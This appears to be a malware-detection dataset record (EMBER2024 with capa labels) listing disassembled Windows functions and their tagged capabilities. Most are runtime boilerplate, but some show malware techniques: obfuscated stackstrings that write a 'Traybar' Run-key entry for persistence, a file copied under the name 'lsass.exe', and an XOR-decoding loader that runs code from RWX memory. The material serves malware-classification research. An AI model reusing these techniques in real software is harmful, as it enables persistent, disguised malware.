joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b49
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x406268
call fcn.00401ec4
mov edi, 0x94
mov eax, edi
call fcn.00402ad0
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x40871c], ecx
mov eax, dword [esi + 4]
mov dword [0x408728], eax
mov edx, dword [esi + 8]
mov dword [0x40872c], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x408720], esi
cmp ecx, 2
je 0x401ba9
or esi, 0x8000
mov dword [0x408720], esi
shl eax, 8
add eax, edx
mov dword [0x408724], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x401be4
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401be4
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x401bfc
cmp eax, 0x20b
je 0x401be9
mov dword [ebp - 0x1c], esi
jmp 0x401c10
cmp dword [ecx + 0x84], 0xe
jbe 0x401be4
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x401c0a
cmp dword [ecx + 0x74], 0xe
jbe 0x401be4
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push esi
call fcn.00402a75
pop ecx
test eax, eax
jne 0x401c3c
cmp dword [0x408708], 1
jne 0x401c29
call fcn.0040221e
push 0x1c
call fcn.004020a7
push 0xff
call fcn.00401f10
pop ecx
pop ecx
call fcn.004029d3
mov dword [ebp - 4], esi
call fcn.00402828
test eax, eax
jge 0x401c55
push 0x1b
call fcn.00401b24
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x408c34], eax
call fcn.00402706
mov dword [0x408700], eax
call fcn.00402664
test eax, eax
jge 0x401c7b
push 8
call fcn.00401b24
pop ecx
call fcn.00402431
test eax, eax
jge 0x401c8c
push 9
call fcn.00401b24
pop ecx
call fcn.00401f40
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x401c9f
push eax
call fcn.00401b24
pop ecx
mov dword [ebp - 0x38], esi
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.004023c8
mov dword [ebp - 0x68], eax
test byte [ebp - 0x38], 1
je 0x401cc0
movzx eax, word [ebp - 0x34]
jmp 0x401cc3
push 0xa
pop eax
push eax
push dword [ebp - 0x68]
push esi
push esi
call edi
push eax
call fcn.004018a0
mov edi, eax
mov dword [ebp - 0x6c], edi
cmp dword [ebp - 0x1c], esi
jne 0x401ce1
push edi
call fcn.00402067
call fcn.00402089
jmp 0x401d13
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.00401eff
ret
Function at 0x401fa5
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x40875c], esi
push edi
jne 0x401fc5
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x408758], esi
mov byte [0x408754], al
jne 0x40202b
mov ecx, dword [0x408c28]
test ecx, ecx
je 0x40200c
mov eax, dword [0x408c24]
sub eax, 4
cmp eax, ecx
jmp 0x402005
mov eax, dword [eax]
test eax, eax
je 0x401ff7
call eax
mov eax, dword [0x408c24]
sub eax, 4
cmp eax, dword [0x408c28]
mov dword [0x408c24], eax
jae 0x401fef
mov eax, 0x40801c
mov esi, 0x408020
cmp eax, esi
mov edi, eax
jae 0x40202b
mov eax, dword [edi]
test eax, eax
je 0x402024
call eax
add edi, 4
cmp edi, esi
jb 0x40201c
mov eax, 0x408024
mov esi, 0x408028
cmp eax, esi
mov edi, eax
jae 0x40204a
mov eax, dword [edi]
test eax, eax
je 0x402043
call eax
add edi, 4
cmp edi, esi
jb 0x40203b
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x402065
push dword [ebp + 8]
mov dword [0x40875c], 1
call fcn.00401f10
pop ecx
pop ebp
ret

Function at 0x4020a7
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x408488]
xor eax, dword [ebp + 4]
mov ecx, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 4], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x408498]
je 0x4020d4
inc eax
cmp eax, 0x12
jb 0x4020c5
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x408498]
jne 0x402208
mov eax, dword [0x408708]
cmp eax, 1
je 0x4021e3
cmp eax, edx
jne 0x402104
cmp dword [0x408494], 1
je 0x4021e3
cmp ecx, 0xfc
je 0x402208
push 0x104
lea eax, [ebp - 0x10c]
push eax
push edx
mov byte [ebp - 8], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40213d
lea eax, [ebp - 0x10c]
push str._program_name_unknown_
push eax
call fcn.00402c10
pop ecx
pop ecx
lea eax, [ebp - 0x10c]
push eax
lea edi, [ebp - 0x10c]
call fcn.00402d10
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x40217f
lea eax, [ebp - 0x10c]
push eax
call fcn.00402d10
mov edi, eax
lea eax, [ebp - 0x10c]
sub eax, 0x3b
push 3
add edi, eax
push 0x4062ac
push edi
call fcn.00401a00
add esp, 0x10
push edi
call fcn.00402d10
push dword [esi + 0x40849c]
mov ebx, eax
call fcn.00402d10
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.00402ad0
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.00402c10
push edi
push ebx
call fcn.00402c20
push 0x4062a8
push ebx
call fcn.00402c20
push dword [esi + 0x40849c]
push ebx
call fcn.00402c20
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.00402b0d
add esp, 0x2c
jmp 0x402208
push edx
lea eax, [ebp + 8]
push eax
lea esi, [esi + 0x40849c]
push dword [esi]
call fcn.00402d10
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x118]
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
call fcn.004019ee
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402b0d
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x408874], ebx
push esi
push edi
jne 0x402b8d
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x402bc8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40681c
push edi
call esi
test eax, eax
mov dword [0x408874], eax
je 0x402bc8
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x408878], eax
call esi
cmp dword [0x40871c], 2
mov dword [0x40887c], eax
jne 0x402b8d
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x408884], eax
je 0x402b8d
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x408880], eax
mov eax, dword [0x408880]
test eax, eax
je 0x402bd2
call eax
test eax, eax
je 0x402bb9
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x408884]
test eax, eax
je 0x402bb9
test byte [ebp - 8], 1
jne 0x402bd2
cmp dword [0x408728], 4
jb 0x402bcc
or byte [ebp + 0x12], 0x20
jmp 0x402bf1
xor eax, eax
jmp 0x402c01
or byte [ebp + 0x12], 4
jmp 0x402bf1
mov eax, dword [0x408878]
test eax, eax
je 0x402bf1
call eax
mov ebx, eax
test ebx, ebx
je 0x402bf1
mov eax, dword [0x40887c]
test eax, eax
je 0x402bf1
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x408874]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405068
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 4
pop eax
call fcn.00402ad0
mov ebx, esp
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4050fd
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x44]
lea esi, [eax - 1]
not esi
and esi, ebx
sub esi, eax
mov dword [ebp - 4], eax
mov eax, dword [0x40871c]
mov ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
and ecx, 0xffff1000
add ecx, 0x11000
add ecx, edi
cmp esi, ecx
jb 0x4050fd
cmp eax, 1
je 0x405115
mov ebx, edi
mov edi, 0x1000
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4050fd
add ebx, dword [ebp - 0x18]
test dword [ebp - 0x14], edi
je 0x4050d2
test byte [ebp - 0xf], 1
mov ebx, dword [ebp - 0x24]
je 0x4050f9
xor eax, eax
inc eax
jmp 0x405131
cmp esi, ebx
jae 0x405101
xor eax, eax
jmp 0x405131
push 4
push edi
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x40871c]
jmp 0x405117
mov ebx, esi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 8]
push ecx
inc eax
push eax
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x54]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4b7055
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.004b70d4
jae 0x4b7061
xor ecx, ecx
call fcn.004b70d4
jae 0x4b708b
xor eax, eax
call fcn.004b70d4
jae 0x4b709c
mov al, 0x10
call fcn.004b70d4
adc al, al
jae 0x4b707d
jne 0x4b70c9
stosb byte es:[edi], al
jmp 0x4b7062
call fcn.004b70e0
dec ecx
loop 0x4b70a8
mov eax, ebp
call fcn.004b70de
jmp 0x4b70ca
lodsb al, byte [esi]
shr eax, 1
je 0x4b70f0
adc ecx, 2
mov ebp, eax
jmp 0x4b70ca
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.004b70de
cmp eax, 0x7d00
jae 0x4b70c8
cmp eax, 0x500
jae 0x4b70c9
cmp eax, 0x7f
ja 0x4b70ca
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x4b7062
pop ebp
ret 8
Function at 0x809390
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
mov byte [ebp - 0x38], 0x53
mov byte [ebp - 0x37], 0x6f
mov byte [ebp - 0x36], 0x66
mov byte [ebp - 0x35], 0x74
mov byte [ebp - 0x34], 0x77
mov byte [ebp - 0x33], 0x61
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x65
mov byte [ebp - 0x30], 0x5c
mov byte [ebp - 0x2f], 0x4d
mov byte [ebp - 0x2e], 0x69
mov byte [ebp - 0x2d], 0x63
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x6f
mov byte [ebp - 0x2a], 0x73
mov byte [ebp - 0x29], 0x6f
mov byte [ebp - 0x28], 0x66
mov byte [ebp - 0x27], 0x74
mov byte [ebp - 0x26], 0x5c
mov byte [ebp - 0x25], 0x57
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6e
mov byte [ebp - 0x22], 0x64
mov byte [ebp - 0x21], 0x6f
mov byte [ebp - 0x20], 0x77
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0x5c
mov byte [ebp - 0x1d], 0x43
mov byte [ebp - 0x1c], 0x75
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x56
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 0xf], 0x5c
mov byte [ebp - 0xe], 0x50
mov byte [ebp - 0xd], 0x4f
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x49
mov byte [ebp - 0xa], 0x58
mov byte [ebp - 9], bl
mov dword [esi], ebx
mov byte [ebp + 0xb], bl
mov edi, 0x80000002
lea eax, [ebp - 4]
push eax
push 0x20019
lea eax, [ebp - 0x38]
push ebx
push eax
mov al, byte [ebp + 0xb]
neg al
sbb eax, eax
add eax, edi
push eax
call dword [0x801004]
test eax, eax
je 0x8094db
inc byte [ebp + 0xb]
cmp byte [ebp + 0xb], 2
jl 0x809467
mov dword [esi], 1
mov byte [ebp + 0xb], bl
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x20006
push ebx
push ebx
lea eax, [ebp - 0x38]
push ebx
push eax
mov al, byte [ebp + 0xb]
neg al
sbb eax, eax
add eax, edi
push eax
call dword [0x801008]
test eax, eax
jne 0x8094cd
push dword [ebp - 4]
call dword [0x80100c]
inc byte [ebp + 0xb]
cmp byte [ebp + 0xb], 2
jl 0x80949b
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp - 4]
call dword [0x80100c]
jmp 0x8094d6
Function at 0x80959e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
lea eax, [ebp - 0x22c]
xor ebx, ebx
push 0x104
push eax
push ebx
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x61
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x2e
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x78
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], bl
call dword [0x80109c]
mov eax, dword [ebp + 8]
mov edi, dword [0x801098]
lea ecx, [ebp - 0x22c]
add eax, 4
push ecx
push eax
mov dword [ebp - 0x10], eax
call edi
mov esi, dword [0x801094]
mov dword [ebp + 8], ebx
cmp dword [ebp + 8], ebx
lea eax, [ebp - 0x128]
jne 0x809621
push 0x118
push eax
call dword [0x801090]
jmp 0x80962d
push eax
push 0x118
call dword [0x80108c]
cmp byte [ebp - 0x128], bl
je 0x8096e2
lea eax, [ebp - 0x128]
push eax
call dword [0x801088]
lea ecx, [ebp - 0x128]
dec ecx
cmp byte [eax + ecx], 0x5c
je 0x809661
lea eax, [ebp - 0x128]
push 0x801360
push eax
call esi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x128]
push eax
call esi
lea eax, [ebp - 0x128]
push 0x20
push eax
call dword [0x801084]
push ebx
push 0x80
push 2
push ebx
push 3
lea eax, [ebp - 0x128]
push 0x40000000
push eax
call dword [0x801080]
cmp eax, ebx
je 0x8096d0
cmp eax, 0xffffffff
je 0x8096d0
push eax
call dword [0x80107c]
lea eax, [ebp - 0x128]
push eax
call dword [0x801078]
lea eax, [ebp - 0x128]
push ebx
push eax
lea eax, [ebp - 0x22c]
push eax
call dword [0x801074]
test eax, eax
jmp 0x8096e0
lea eax, [ebp - 0x128]
push eax
call dword [0x801070]
cmp eax, 0xffffffff
jne 0x8096f1
inc dword [ebp + 8]
cmp dword [ebp + 8], 2
jl 0x809608
jmp 0x8096fd
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x10]
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x809702
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
mov esi, dword [0x801004]
push edi
lea eax, [ebp - 4]
mov edi, 0x20006
xor ebx, ebx
push eax
push edi
lea eax, [ebp - 0x3c]
push ebx
push eax
push 0x80000002
mov byte [ebp - 0x3c], 0x53
mov byte [ebp - 0x3b], 0x6f
mov byte [ebp - 0x3a], 0x66
mov byte [ebp - 0x39], 0x74
mov byte [ebp - 0x38], 0x77
mov byte [ebp - 0x37], 0x61
mov byte [ebp - 0x36], 0x72
mov byte [ebp - 0x35], 0x65
mov byte [ebp - 0x34], 0x5c
mov byte [ebp - 0x33], 0x4d
mov byte [ebp - 0x32], 0x69
mov byte [ebp - 0x31], 0x63
mov byte [ebp - 0x30], 0x72
mov byte [ebp - 0x2f], 0x6f
mov byte [ebp - 0x2e], 0x73
mov byte [ebp - 0x2d], 0x6f
mov byte [ebp - 0x2c], 0x66
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x5c
mov byte [ebp - 0x29], 0x57
mov byte [ebp - 0x28], 0x69
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x64
mov byte [ebp - 0x25], 0x6f
mov byte [ebp - 0x24], 0x77
mov byte [ebp - 0x23], 0x73
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x56
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x72
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x5c
mov byte [ebp - 0x12], 0x52
mov byte [ebp - 0x11], 0x75
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xc], 0x54
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x61
mov byte [ebp - 9], 0x79
mov byte [ebp - 8], 0x62
mov byte [ebp - 7], 0x61
mov byte [ebp - 6], 0x72
mov byte [ebp - 5], bl
call esi
test eax, eax
je 0x809818
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 0x3c]
push ebx
push eax
push 0x80000001
call esi
test eax, eax
jne 0x809841
mov esi, dword [ebp + 8]
add esi, 4
push esi
call dword [0x801088]
inc eax
push eax
push esi
push 1
lea eax, [ebp - 0xc]
push ebx
push eax
push dword [ebp - 4]
call dword [section.UPX0]
push dword [ebp - 4]
call dword [0x80100c]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x809d08
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and byte [ebp - 5], 0
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 0x10], 0x77
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x2e
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x6c
call dword [0x8010d0]
test eax, eax
jne 0x809d5a
lea eax, [ebp - 0x10]
push eax
call dword [0x8010cc]
test eax, eax
je 0x809d6a
push 0x801404
push eax
call dword [0x8010c8]
test eax, eax
jne 0x809d6f
push 2
pop eax
leave
ret
lea ecx, [ebp - 4]
push 0
push ecx
call eax
neg eax
sbb eax, eax
neg eax
leave
ret
Function at 0x403830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x40383f
pop dword [ebp - 0x1c]
mov eax, 0xe509366d
add eax, 0x1b3701d2
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xd3be94b5
sub dword [ebp - 0x2c], 0x856c4f6a
mov dword [ebp - 0x28], 0x272088e9
add dword [ebp - 0x28], 0xb12c35c
mov dword [ebp - 0x24], 0xcb2b0a14
add dword [ebp - 0x24], 0x81213a1a
mov dword [ebp - 0x20], 0x6d3d2515
sub dword [ebp - 0x20], 0x6d3d2515
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x9061be29
add eax, 0x6fded1f3
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xb84c12a7
sub dword [ebp - 0x2c], 0x43d9a951
mov dword [ebp - 0x28], 0x728d5792
add dword [ebp - 0x28], 0xcedf09e3
mov dword [ebp - 0x24], 0xeaea8253
sub dword [ebp - 0x24], 0x877b15e7
mov dword [ebp - 0x20], 0xbdd09b31
add dword [ebp - 0x20], 0x422f64cf
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x3ff6c2d5
sub eax, 0x3fb632bd
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3c3eb
push 0
call eax
mov ecx, 0x338cebd2
add ecx, 0xcc736145
xor ebx, ebx
add ebx, eax
mov edi, 0xe3ca07d9
sub edi, 0xe3892fd9
add edi, dword [ebp - 0x1c]
mov edx, 0x6f568522
add edx, 0xce9095a3
mov dword [ebp - 0x18], 0x6027ecf8
mov esi, dword [edi]
add dword [ebp - 8], esi
xor esi, edx
mov dword [ebx], esi
add dword [ebp - 0xc], 0x5d7b533
add ebx, 4
add edi, 4
loop 0x403963
add eax, 0x61c01452
sub eax, 0x61beed23
xor ebx, ebx
add ebx, eax
add eax, 0x45bdae42
sub eax, 0x45bdae3d
mov ecx, 0x5966fe6a
add ecx, 0xa6d90196
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x40656e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40b018]
jne 0x406578
repz ret
jmp fcn.004069b9
Function at 0x40100b
Capabilities:
Query or enumerate registry value

Disassembly:
call 0x40100b
push eax
call sub.KERNEL32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xfffffef0
jmp 0x40109c
lea eax, [ebp - 0x104]
push eax
call fcn.004011ec
push 0x401019
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
jne 0x401165
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push 0x401038
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x4011a5
mov dword [ebp - 0x110], 0x103
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x401052
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x4011a5
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x40114a
mov word [ebx], 0x5c
push 0x401023
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x4011a5
mov dword [ebp - 0x108], eax
push 0x40102d
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x40119a
push 0x3e8
call eax
test eax, eax
je 0x40119a
call 0x40118a
add dword [esp], 0x1e76
call eax
push 0
call sub.KERNEL32.dll_ExitProcess
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
push 0x10
push 0x401096
push 0x401057
push 0
call sub.USER32.dll_MessageBoxA
mov eax, 0xffffffff
leave
ret

Function at 0x4086d8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, 0x41617c
push ebp
mov ebp, edx
cmp dword [edi + 4], 0
mov esi, ecx
mov ebx, eax
jne 0x4086f2
call fcn.004086a0
mov eax, ebp
jmp 0x40870a
mov edx, ebx
xor ecx, ecx
xor dl, byte [eax]
dec esi
mov cl, dl
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
inc eax
mov ebx, edx
test esi, esi
jbe 0x408712
test al, 7
jne 0x4086f6
cmp esi, 8
jb 0x40879b
xor ebx, dword [eax]
xor ecx, ecx
mov cl, bl
sub esi, 8
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
xor ecx, ecx
mov ebx, edx
mov cl, bl
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
xor ecx, ecx
mov ebx, edx
mov cl, bl
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
xor ecx, ecx
mov ebx, edx
mov cl, bl
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
xor ecx, ecx
mov ebx, edx
xor ebx, dword [eax + 4]
add eax, 8
mov cl, bl
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
xor ecx, ecx
mov ebx, edx
mov cl, bl
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
xor ecx, ecx
mov ebx, edx
mov cl, bl
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
xor ecx, ecx
mov ebx, edx
mov cl, bl
shr ebx, 8
mov edx, dword [edi + ecx*4]
xor edx, ebx
cmp esi, 8
mov ebx, edx
jae 0x40871b
xor edx, edx
jmp 0x4087b5
mov ecx, ebx
xor cl, byte [eax + edx]
and ecx, 0xff
shr ebx, 8
mov ecx, dword [edi + ecx*4]
xor ecx, ebx
mov ebx, ecx
inc edx
cmp esi, edx
ja 0x40879f
mov eax, ebx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4339b0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4a4c9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00496ffa
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x433a32
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004945dd
mov eax, dword [eax]
push 0x4c5204
push eax
call fcn.00486674
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00497285
test bl, bl
je 0x433a32
push 0x4c5204
lea ecx, [esp + 0xc]
call fcn.00497661
push 0x4c8d7c
lea ecx, [esp + 0xc]
call fcn.00497661
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x433a6e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00497285
jmp 0x433b39
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x433af2
lea edx, [esp + 0x7c]
push 0x4c8d78
push edx
call fcn.00486674
add esp, 8
test eax, eax
je 0x433af2
lea eax, [esp + 0x7c]
push 0x4c8d74
push eax
call fcn.00486674
add esp, 8
test eax, eax
je 0x433af2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x433a82
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00497285
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x434d90
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x434df2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
